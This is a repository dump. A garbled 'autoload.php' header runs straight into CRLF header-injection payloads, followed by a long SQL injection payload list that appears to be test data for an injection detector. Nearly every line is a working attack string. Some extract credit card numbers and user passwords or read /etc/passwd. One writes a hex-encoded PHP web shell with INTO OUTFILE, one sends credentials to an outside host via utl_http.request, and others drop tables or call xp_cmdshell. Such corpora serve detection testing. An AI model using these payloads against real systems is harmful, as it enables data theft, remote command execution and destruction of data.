-------------------------------------------------------------------------------- /src/autoload.php: -------------------------------------------------------------------------------- 1 | %0d%0a0%0d%0a/%2f%2e%2e 6 | 7 | # CRLF - Write HTML 8 | %0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E 9 | 10 | # CRLF - Filter Bypass 11 | %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE -------------------------------------------------------------------------------- /src/payloads/sql.txt: -------------------------------------------------------------------------------- 1 | # 2 | # Misc collected attacks from the wild and beyond.... 3 | # 4 | SO_BUY+AND+IF%281%3D1%2CBENCHMARK%281589466%2CMD5%280X41%29%29%2C0%29 5 | SO_BUY%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27-- 6 | SO_BUY+AND%28SELECT+1+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%28%28SELECT+%28SELECT+CONCAT%280X7E%2C0X27%2CDATABASE%28%29%2C0X27%2C0X7E%29%29+FROM+%60INFORMATION_SCHEMA%60.TABLES+LIMIT+0%2C1%29%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+%60INFORMATION_SCHEMA%60.TABLES+GROUP+BY+X%29A%29+AND+1%3D1 7 | SO_BUY+AND%28SELECT+1+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%28%28SELECT+%28SELECT+CONCAT%280X7E%2C0X27%2CUNHEX%28HEX%28CAST%28DATABASE%28%29+AS+CHAR%29%29%29%2C0X27%2C0X7E%29%29+FROM+%60INFORMATION_SCHEMA%60.TABLES+LIMIT+0%2C1%29%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+%60INFORMATION_SCHEMA%60.TABLES+GROUP+BY+X%29A%29+AND+1%3D1 8 | PHPX+AND+1%3D1+AND+XX%3DX 9 | PHPX+AND+CHAR%28124%29+USER+CHAR%28124%29%3D0+AND+XX%3DX 10 | SO_BUY%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27--%27 11 | SO_BUY%27%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27-- 12 | materials'%20and%201=1%20and%20''=' 13 | materials'%20and%201=2%20and%20''=' 14 | 1'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'=' 15 | -999.9'%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536%20and%20'x'='x 16 | 17 | # not sql 18 | #5000224%27%20UNION%20user_id%3E0-- 19 | 20 | -5000224%27%20UNION%20select%20user_id%20from%20users%20where%20user_id%3E0// 21 | 22 | # not sql 23 | #-5000224%27%20UNION%20user_id%3E0-- 24 | 5000224%27%20or%201=1-- 25 | 8+and+1=1-- 26 | 8+order+by+1-- 27 | 8-999.9+union+select+0 28 | 9-999.9+union+select+0-- 29 | 6334588%00%27%7C%7CSLEEP%283%29%26%26%271 30 | 6334588%20AND%20BENCHMARK%282999999%2CMD5%28NOW%28%29%29%29 31 | 6334588%26%26SLEEP%283%29 32 | 6334588%27%20AND%20BENCHMARK%282999999%2CMD5%28NOW%28%29%29%29%20AND%20%271 33 | 6334588%27%20AND%20SLEEP%283%29%20AND%20%271 34 | 6402272%27%20%61%6E%64%20%27%36%27%3D%27%356402272%27%20%61%6E%64%20%27%36%27%3D%27%366444930%20%61%6E%64%20%36%3D%35 35 | 6444930%20%61%6E%64%20%36%3D%36 36 | 6444930%27%20%61%6E%64%20%27%36%27%3D%27%35 37 | 6444930%27%20%61%6E%64%20%27%36%27%3D%27%36 38 | FOO%29%29+AND+UPDATEXML%281025%2CCONCAT%280X2E%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%281025%3D1025%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%2C7573%29+AND+%28%283045%3D3045 39 | 1+%2B+%28SELECT+6744+FROM+DUAL+WHERE+3176%3D3176+AND+3761%3D5879%23+%29 40 | 1234.5%29+ORDER+BY+1 41 | FOO%2C%28SELECT+%28CASE+WHEN+%284831%3D4831%29+THEN+1+ELSE+1%2F%28SELECT+0%29+END%29%29 42 | FOO%29%3B+IF%28%286681%3D9099%29%2CSELECT+6681%2CDROP+FUNCTION+CGIQ%29%3B%23+AND+%284596%3D4596 43 | FOO%2C%28SELECT+%28CASE+WHEN+%284763%3D4974%29+THEN+FOO+ELSE+4763%2A%28SELECT+4763+FROM+MYSQL.DB%29+END%29%29 44 | FOO%29+WHERE+9060%3D9060+AND+UPDATEXML%281025%2CCONCAT%280X2E%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%281025%3D1025%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%2C7573%29 45 | FOO%29%29%29+AND+3787%3DCONVERT%28INT%2C%28CHAR%2858%29%2BCHAR%28118%29%2BCHAR%28118%29%2BCHAR%28105%29%2BCHAR%2858%29%2B%28SELECT+%28CASE+WHEN+%283787%3D3787%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29 46 | FOO+%2B+%28SELECT+9350+WHERE+8850%3D8850+AND+3963%3D4777--++%29 47 | FOO%29+AND+4499%3D8923%23 48 | FOO%2CIIF%282510%3D9436%2CFOO%2C1%2F0%29 49 | FOO%29%29%3B+IF%28%288708%3D3788%29%2CSELECT+8708%2CDROP+FUNCTION+RIHR%29%3B%23+AND+%28%286571%3D6571 50 | FOO%29%29%29%3B+IF%28%289256%3D5702%29%2CSELECT+9256%2CDROP+FUNCTION+IRII%29%3B%23+AND+%28%28%283502%3D350 51 | %28SELECT+2299%3D%28%27%3AJQA%3A%27%7C%7C%28SELECT+CASE+2299+WHEN+2299+THEN+1+ELSE+0+END+FROM+RDB%24DATABASE%29%7C%7C%27%3AUGJ%3A%27%29%29 52 | %28SELECT+2811+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%280X3A6A71613A%2C%28SELECT+%28CASE+WHEN+%282811%3D2811%29+THEN+1+ELSE+0+END%29%29%2C0X3A75676A3A%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+X%29A%29 53 | FOO%2CEXTRACTVALUE%288571%2CCONCAT%280X5C%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%288571%3D8571%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%29 54 | %28CASE+WHEN+4518%3D5617+THEN+1+ELSE+NULL+END%29 55 | FOO%29%29%3B+SELECT+PG_SLEEP%285%29%3B-- 56 | FOO%29%29%29%3B+BEGIN+DBMS_LOCK.SLEEP%285%29%3B+END%3B--+AND+%28%28%288410%3D8410 57 | FOO%29%29+WAITFOR+DELAY+%270%3A0%3A5%27--+AND+%28%282114%3D2114 58 | FOO%29%29%29+WAITFOR+DELAY+%270%3A0%3A5%27--+AND+%28%28%281285%3D1285 59 | FOO+WAITFOR+DELAY+%270%3A0%3A5%27-- 60 | 1+order+by+1 61 | FOO%2C%28CAST%28CHR%2858%29%7C%7CCHR%28118%29%7C%7CCHR%28118%29%7C%7CCHR%28105%29%7C%7CCHR%2858%29%7C%7C%28SELECT+%28CASE+WHEN+%281861%3D1861%29+THEN+1+ELSE+0+END%29%29%3A%3ATEXT%7C%7CCHR%2858%29%7C%7CCHR%28116%29%7C%7CCHR%28113%29%7C%7CCHR%28119%29%7C%7CCHR%2858%29+AS+NUMERIC%29%29 62 | %28SELECT+GENERATE_SERIES%28FOO%2CFOO%2CCASE+WHEN+%289255%3D9830%29+THEN+1+ELSE+0+END%29+LIMIT+1%29 63 | -999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- 64 | 999999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27%2CNULL-- 65 | -999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27-- 66 | -999.9+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- 67 | 999.9+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- 68 | 999999.9+UNION+ALL+SELECT+CHR%28114%29%7C%7CCHR%2851%29%7C%7CCHR%28100%29%7C%7CCHR%28109%29%7C%7CCHR%2848%29%7C%7CCHR%28118%29%7C%7CCHR%2851%29%7C%7CCHR%2895%29%7C%7CCHR%28104%29%7C%7CCHR%28118%29%7C%7CCHR%28106%29%7C%7CCHR%2895%29%7C%7CCHR%28105%29%7C%7CCHR%28110%29%7C%7CCHR%28106%29%7C%7CCHR%28101%29%7C%7CCHR%2899%29%7C%7CCHR%28116%29%7C%7CCHR%28105%29%7C%7CCHR%28111%29%7C%7CCHR%28110%29-- 69 | CAT1_GALLERY_1+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL-- 70 | 1 - ORD('A') 71 | TRUE DIV(SELECT ORD(LEFT 72 | TRUE DIV(SELECT (ORD(LEFT 73 | TRUE DIV(SELECT ((ORD(LEFT 74 | 1 DIV(SELECT ORD(LEFT 75 | 1 DIV(SELECT (ORD(LEFT 76 | 0 UNION SELECT (1),2,3 77 | 1 AND (SELECT TOP 10 USERNAME FROM USERS); 78 | 1 AND SELECT 1 FROM T.TRANS_DATE -- 1 79 | 1 AND (SELECT 1 FROM T.TRANS_DATE -- 1 80 | 1 GROUP BY 1 HAVING 1 = 1 81 | 1 GROUP BY 1 HAVING '1' = 1 82 | 1 GROUP BY 1,TRANSID,ACCOUNTID HAVING 1=1 83 | 1 AND SELECT TOP 10 USERNAME FROM USERS -- 1 84 | 1001 union(select userid, ccnumber, '3', '4' from credit_cards) 85 | 1001 union((select userid, ccnumber, '3', '4' from credit_cards)) 86 | 1001 union/*/**/*/select userid, ccnumber, '3', '4' from credit_cards 87 | 1001 or 'A' = 'B' union select userid, ccnumber, '3', '4' from credit_cards 88 | '6334588?'||SLEEP(3)&&'1 89 | 1001*/*!50000(1)union*/all(select 1,ccnumber,3,4 from credit_cards) 90 | 1001*/*!50000(1)union select 1,ccnumber,load_file('/etc/passwd'),4 from credit_cards*/ 91 | (1001)union select-1,ccnumber,3,4 from credit_cards 92 | (1001)union select (1),ccnumber,3,4 from credit_cards 93 | (1001)union select @a,ccnumber,3,4 from credit_cards 94 | 1001-\N%0aunion select 1,ccnumber,3,4 from credit_cards 95 | 1001 sounds like '1001' union select 1,ccnumber,3,4 from credit_cards 96 | 1001-'text' union select 1,ccnumber,3,4 from credit_cards 97 | 1001%2b@a union select 1,load_file('/etc/passwd'),3,4 from credit_cards 98 | ((1001)-1) union select 1,2,3,4 from credit_cards 99 | 1001'-@a union select 1,2,3,4 from credit_cards-- - 100 | '1001'-@a union select 1,2,3,4 from credit_cards 101 | ((1001)-1) union select 1,2,3,4 from credit_cards 102 | 1001 rlike(-1)union select 1,2,3,4 from credit_cards 103 | ## 1001 ----1 union select 1,2,3,4 from credit_cards 104 | 1001 or 'foo' union select 1,2,3,4 from credit_cards 105 | 1001 and @a union select 1,2,3,4 from credit_cards 106 | 1001 like @a-1 union select 1,2,3,4 from credit_cards 107 | 1001-\N-\N union select 1,2,3,4 from credit_cards 108 | (1001-\N-\N) union select 1,2,3,4 from credit_cards 109 | (1001-\N)-\N union select 1,2,3,4 from credit_cards 110 | 1001-\N union select 1,2,3,4 from credit_cards 111 | 1001-true union select 1,2,3,4 from credit_cards 112 | (1001-true) union select 1,2,3,4 from credit_cards 113 | (1001-'1') union select 1,2,3,4 from credit_cards 114 | (1001-@version) union select 1,2,3,4 from credit_cards 115 | 1-(1001-true) union select 1,2,3,4 from credit_cards 116 | 1001-false-false union select 1,2,3,4 from credit_cards 117 | 1001-false-NULL union select 1,2,3,4 from credit_cards 118 | 1001 rlike(1-NULL)union select 1,2,3,4 from credit_cards 119 | 1001 rlike(1-(NULL))union select 1,2,3,4 from credit_cards 120 | (1)-'1' union select 1,2,3,4 from credit_cards 121 | (1)-@version union select 1,2,3,4 from credit_cards 122 | (@version)-@version union select 1,2,3,4 from credit_cards 123 | (@version)-1 union select 1,2,3,4 from credit_cards 124 | (@version)-'1' union select 1,2,3,4 from credit_cards 125 | @version-@version union select 1,2,3,4 from credit_cards 126 | @version-1 union select 1,2,3,4 from credit_cards 127 | @version-'1' union select 1,2,3,4 from credit_cards 128 | ('1')-'1' union select 1,2,3,4 from credit_cards 129 | 1001 rlike(-1-1)union select 1,2,3,4 from credit_cards 130 | 1001 rlike(1-1)union select 1,2,3,4 from credit_cards 131 | 1001 rlike(@version)union select 1,2,3,4 from credit_cards 132 | 1001 rlike(@version-1)union select 1,2,3,4 from credit_cards 133 | 1001 rlike(1-@version)union select 1,2,3,4 from credit_cards 134 | 1001 rlike('1')union select 1,2,3,4 from credit_cards 135 | # vv new variations 2013-04-10 nickg vv 136 | 1001 RLIKE ((1)) UNION SELECT 1 FROM CREDIT_CARDS 137 | 1001 RLIKE ((-1)) UNION SELECT 1 FROM CREDIT_CARDS 138 | 1001 RLIKE ((-"1")) UNION SELECT 1 FROM CREDIT_CARDS 139 | 1001 RLIKE (-(1)) UNION SELECT 1 FROM CREDIT_CARDS 140 | 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS 141 | 142 | # http://vagosec.org/2013/04/mysql-implicit-type-conversion/ 143 | # a'+'b encoded is a%27%2B%27b 144 | a%27%2B%27b 145 | ' OR 1='1 146 | 147 | # new variations 148 | X' != 'Y' = 0 = '1 149 | X' = 'X' = 0 = '1 150 | X' = 'X' = 'X' = 0 = '1 151 | X' - 'Y' - 0 = '1 152 | 153 | # part of parameter pollution 154 | 1) FROM USERS WHERE USERNAME= 155 | 156 | # nest pgsql mssql comments 157 | 1/* /*/ */ */ or 1=1- 158 | 1/* /* / */ */ or 1=1- 159 | 160 | # small sqli 161 | 1-- 162 | 1 -- 163 | 1 -- 164 | 1/* 165 | 1 /* 166 | 1 /* 167 | 1*1-- 168 | 1 * 1-- 169 | 1 * 1 -- 170 | 1*1/* 171 | 1 * 1/* 172 | 1 * 1 /* 173 | 1 * 1 /* 174 | @version-- 175 | @@version-- 176 | @version -- 177 | @version /* 178 | @version/* 179 | 180 | # thanks @d0znpp 181 | (select id from users limit 1,1) 182 | (select id-0 from users limit 1,1) 183 | # known bypass.. for now! 184 | (select id,id,id,id from users limit 1,1) 185 | 186 | # some variations 187 | '1' union (select id from users limit 1,1) 188 | 1 union (select id from users limit 1,1) 189 | xxx union (select id from users limit 1,1) 190 | @version union (select id from users limit 1,1) 191 | 192 | '1' union (select 1 from users limit 1,1) 193 | 1 union (select 1 from users limit 1,1) 194 | xxx union (select 1 from users limit 1,1) 195 | @version union (select 1 from users limit 1,1) 196 | 197 | '1' union (select xxx from users limit 1,1) 198 | 1 union (select xxx from users limit 1,1) 199 | xxx union (select xxx from users limit 1,1) 200 | @version union (select xxx from users limit 1,1) 201 | 202 | '1' union (select 's' from users limit 1,1) 203 | 1 union (select 's' from users limit 1,1) 204 | xxx union (select 's' from users limit 1,1) 205 | @version union (select 's' from users limit 1,1) 206 | 207 | # thanks @LightOS 208 | -1 union(((select table_name from information_schema.tables limit 1,1))) 209 | '1' union(((select table_name from information_schema.tables limit 1,1))) 210 | @foo union(((select table_name from information_schema.tables limit 1,1))) 211 | id union(((select table_name from information_schema.tables limit 1,1))) 212 | 213 | # and again @LightOS 214 | test'-1/1/**/union(select table) 215 | test'-1 union(select table) 216 | test'-@version union (select table) 217 | test'-'xyz' union (select table) 218 | 1- @version union(select table_name from information_schema.tables limit 1,1) 219 | 1- 'xxx' union(select table_name from information_schema.tables limit 1,1) 220 | 1- union(select table_name from information_schema.tables limit 1,1) 221 | @version - @version union(select table_name from information_schema.tables limit 1,1) 222 | @version- 'xxx' union(select table_name from information_schema.tables limit 1,1) 223 | @version - 5 union(select table_name from information_schema.tables limit 1,1) 224 | 225 | # 226 | 1 into outfile 'asd' 227 | 1 into outfile 'asd'-- 228 | '1' into outfile 'asd' 229 | '1' into outfile 'asd' -- 230 | @version into outfile 'asd' 231 | @version into outfile 'asd' -- 232 | 233 | 1 into outfile ('asd') 234 | '1' into outfile ('asd') 235 | @version into outfile ('asd') 236 | 237 | 1 into outfile substring('asd', 10, 1) 238 | '1' into outfile substring('asd', 10, 1) 239 | @version into outfile substring('asd', 10 1) 240 | 241 | 1 into outfile (substring('asd', 10, 1)) 242 | '1' into outfile (substring('asd', 10, 1)) 243 | @version into outfile (substring('asd', 10 1)) 244 | 245 | %28select+substr%0D%0A%28login%0D%0A%0D%0A%29%0D%0Afrom+users+limit+1%2C1%29 246 | union%20%28select+id+from+users+limit+1%2C1%29 247 | 248 | # 249 | # This is not valid SQL but designed to force a syntax error 250 | # http://www.modsecurity.org/testphp.vulnweb.com/listproducts.php?cat=1%0Aand+current_user=notthere() 251 | 1%0Aand+current_user=notthere() 252 | 1%0Aand+current_user=1 253 | 1%0Aand+current_user=@version 254 | 1%0Aand+current_user='junk' 255 | 1%0Aand+current_user=foo 256 | 257 | 258 | 259 | 1--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29 260 | 1'--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29 261 | @version--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29 262 | 263 | -.1a%20union%20%28select+id+from+users+limit+1%2C1%29 264 | 265 | case 1 when 2 then 2 end 266 | case sin(1) when 2 then 2 end 267 | case '1' when 2 then 2 end 268 | case 1 when 's' then 2 end 269 | case when 2 then 3 end 270 | case when 's' then 3 end 271 | case when f(1) then 3 end 272 | 273 | -1 union select table_name asda from information_schema.tables 274 | -1 union select table_name "asda" from information_schema.tables 275 | -1 union select table_name `asda` from information_schema.tables 276 | -1 union select table_name as asda from information_schema.tables 277 | -1 union select table_name as "asda" from information_schema.tables 278 | -1 union select table_name as `asda` from information_schema.tables 279 | 280 | a'and(select(binary(/*!system_user()*/)))like'reading%25 281 | 282 | -1 union select @``"", table_name from information_schema.tables 283 | 'foo' union select @``"", table_name from information_schema.tables 284 | @version union select @``"", table_name from information_schema.tables 285 | 286 | select @version foo 287 | select @version "foo" 288 | select @version foo -- junk 289 | select @version "foo" -- junk 290 | 291 | $$pgsql evade$$ union select * from foo 292 | $foo$pgsql evade$foo$ union select * from foo 293 | 294 | u&'pgsql evade' union select * from foo 295 | U&'pgsql evade' union select * from foo 296 | 297 | U&'pgsql evade' uescape '!' union select * from foo 298 | 299 | _latin1'foo' union select * from foo 300 | _LATIN7'foo' union select * from foo 301 | _utf8'foo' union select * from foo 302 | 303 | REAL 1 union select * from foo 304 | 1::REAL union select * from foo 305 | 1::REAL::REAL union select * from foo 306 | 307 | -1 union select @``"", table_name from information_schema.tables 308 | !~1 union select table_name from information_schema.tables 309 | -1 union select @a`from 1`, table_name from information_schema.tables 310 | version() union select table_name from information_schema.tables 311 | -1 LOCK IN SHARE MODE UNION SELECT table_name from information_schema.tables 312 | 1 is unknown union select table_name from information_schema.tables 313 | true is not unknown for update union select table_name from information_schema.tables 314 | 1 for update union select 1 315 | 316 | # ht/ TK 317 | (true)-(true)union select table_name from information_schema.tables 318 | (@a)-(@a)union select table_name from information_schema.tables 319 | 320 | # ht/ @stamparm 321 | 1 OR (1 OR 1)-- 322 | (1) OR (1 OR 1)-- 323 | ((1) OR (1 OR 1))-- 324 | ((1) OR ((1 OR 1)))-- 325 | 1 OR ((1 OR 1)) -- 326 | 1 OR ((1) OR 1) -- 327 | 328 | # ht/ @stamparm 329 | (@x OR @y) UNION ALL SELECT name,email,password FROM users-- 330 | (@x OR (@y)) UNION ALL SELECT name,email,password FROM users-- 331 | ((@x) OR @y) UNION ALL SELECT name,email,password FROM users-- 332 | (@x) OR (@y) UNION ALL SELECT name,email,password FROM users-- 333 | @x) OR (@y) UNION ALL SELECT name,email,password FROM users-- 334 | @x OR (@y) UNION ALL SELECT name,email,password FROM users-- 335 | 336 | # ht/ @stamparm 337 | (SELECT 1 FROM DUAL) 338 | (SELECT @a FROM DUAL) UNION ALL SELECT 1, 2, 3-- 339 | (SELECT (1) FROM DUAL) 340 | (select @version from dual) 341 | (select (@version - 1) from dual) 342 | (select ('foo' - 1) from dual) 343 | (select 'foo' from dual) 344 | (select 1 foobar from dual) 345 | 346 | # previously had problems with operators made from two words 347 | # ht/@stamparm 348 | 1 and 1 not between 0 and 1 349 | 1 AND 1 SOUNDS LIKE 1 350 | 1 AND 1 NOT LIKE 0 351 | 352 | (1 AND 1) OR 2>1-- 353 | 354 | # ht/@FluxReiners 355 | '-(1 or 1) and 1=0 union select load_file('/etc/passwd'),credit_card,password from users-- - 356 | '-(-1 or -1) and 1=0 union 357 | '-(-(1) or -1) and 1=0 union 358 | '-((1) or -1) and 1=0 union 359 | 360 | # https://twitter.com/dsrbr/status/342132003270959104 361 | -1 union select null, listagg(login || ':' || pass,', ') within group (order by login) from users; 362 | -1 union select null, xmlagg(xmlelement("user",login || ':' || pass).getStringVal() from users; 363 | -1 union select null, stragg(login || ':' || pass ||', ') from users; 364 | 365 | -1 union select listagg(login || ':' || pass,', ') within group (order by login) from users; 366 | 367 | #ht ivan 368 | users.id%0D%0A%23asd%0D%0Aunion%0D%0A%23asd%0D%0Aselect%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aaa+%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Afrom%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aasdasd 369 | 370 | # http://samincube.blogspot.ru/2013/06/time-based-sqli-on-google-coupon.html 371 | 1'=sleep(1)='1 372 | 373 | # https://twitter.com/dsrbr/status/343017094926962691 374 | 1 and select (utl_http.request('http://client9.com/') || select listagg(login || chr(58) || pass || ', ') within group (order by login) from dual) is not null; 375 | 376 | # https://twitter.com/dsrbr/status/341228356936814592 377 | -1 union select top 1 null, lead(pass, 0) over (order by pass) from users; 378 | 379 | # https://twitter.com/dsrbr/status/340018970054766592 380 | -1 union select null, array_to_json(array_agg(users))::text from users limit 1; 381 | 1 and (select array_to_json(array_agg(users))::text::bool from users limit 1; 382 | 383 | # http://www.exploit-db.com/exploits/25915/ 384 | ' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e,null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE 'afile.php' 385 | 386 | # http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload 387 | IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ 388 | 389 | # misc secondary sql statements 390 | 1 and true; BEGIN DECLARE @xy varchar(8000) 391 | 1; BEGIN DECLARE @xy varchar(8000) 392 | x' and 1 = 0; BEGIN DECLARE 393 | x' AND 1=0; DROP TABLE TMP_DB; 394 | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S 395 | 396 | ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE 397 | 398 | # https://twitter.com/st1ll_di3/status/344416764949561346 399 | # http://pastebin.com/Ymcs7nE0 400 | (--- 0)'=(currenT_user()-3) union select 1,2,3 from users; -- - 401 | 402 | # example from http://www.websec.ca/kb/sql_injection 403 | 1=1 AND-+-+-+-+~~((1)) 404 | 405 | # the bizarre sp_password hackery 406 | 1-- foo sp_password 407 | 1'--sp_password 408 | 409 | # nice ms-access, courtesy mod-security 410 | foo' Eqv StrComp(username, 0x12+0x34+0xab+0xcd,0) Imp 'a 411 | 412 | # mysql and pgsql string litterals 413 | b'1' UNION SELECT 1 414 | x'1' UNION SELECT 1 415 | n'1' UNION SELECT 1 416 | 417 | # ending clauses 418 | 1 having 1 limit 1 union select 1-- 419 | 1 having (1) limit 1 union select 1-- 420 | 1 having -(1) limit 1 union select 1-- 421 | 1 having sin(1) limit 1 union select 1-- 422 | 1 having 1 limit 2 group by 3 union select 1-- 423 | 1 group by 2 union select 1 -- 424 | sin(1) group by 1 union select 1-- 425 | @version group by 1 union select 1-- 426 | @version group by (-1) union select 1-- 427 | (@version) group by -1 union select 1-- 428 | (@version) group by (-1) union select 1-- 429 | (@version)) group by (-1) union select 1-- 430 | (1)) group by (-1) union select 1-- 431 | (@version) group by sin(-1) union select 1-- 432 | 1 group by sin(1) union select 1-- 433 | 1 group by 1 - sin(1) union select 1-- 434 | 1 group by (sin(1)) union select 1-- 435 | -1 group by -(-sin(1)) union select 1-- 436 | sin(1) group by (-sin(1)) union select 1-- 437 | sin(1)-1 group by (-sin(1)) union select 1-- 438 | sin(1)-1 group by 1 union select 1-- 439 | 1 group by ((1)) union select 1-- 440 | 1 group by (((1))) union select 1-- 441 | ((1)) group by (1) union select 1-- 442 | (1) group by ((1)) union select 1-- 443 | (1) group by (1) union select 1-- 444 | 445 | # more with 'having' 446 | -(1) is not unknown having 1 order by 1 limit 1 for update UNION select table_name from information_schema.tables limit 1 447 | -(1) is not unknown UNION select table_name from information_schema.tables limit 1 448 | -(1) is not unknown for update UNION select table_name from information_schema.tables limit 1 449 | -(1) is not unknown having 1 order by 1 limit 1 UNION select table_name from information_schema.tables limit 1 450 | -(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 451 | -(1) is not unknown UNION select table_name from information_schema.tables limit 1 452 | -(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 453 | -(1) is unknown having 1 UNION select table_name from information_schema.tables limit 1 454 | -(1) for update UNION select table_name from information_schema.tables limit 1 455 | 1 for update UNION select table_name from information_schema.tables limit 1 456 | 457 | -(1) for update UNION select table_name from information_schema.tables limit 1 458 | -(true) for update UNION select table_name from information_schema.tables limit 1 459 | -(null) for update UNION select table_name from information_schema.tables limit 1 460 | -(\N) for update UNION select table_name from information_schema.tables limit 1 461 | -(\N) for update having true UNION select table_name from information_schema.tables limit 1 462 | -(\N) for update having 1 UNION select table_name from information_schema.tables limit 1 463 | -(1) for update having 1 UNION select table_name from information_schema.tables limit 1 464 | -(1) having 1 for updateUNION select table_name from information_schema.tables limit 1 465 | -(1) having 1 for update UNION select table_name from information_schema.tables limit 1 466 | -(1) having 1 for update UNION select table_name from information_schema.tables limit 1 467 | 468 | \''; DROP TABLE users; -- 469 | \''); DROP TABLE users; -- 470 | \''; /* one */ ;DROP TABLE users; -- 471 | \''; select 1; drop table users; -- 472 | 1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck 473 | 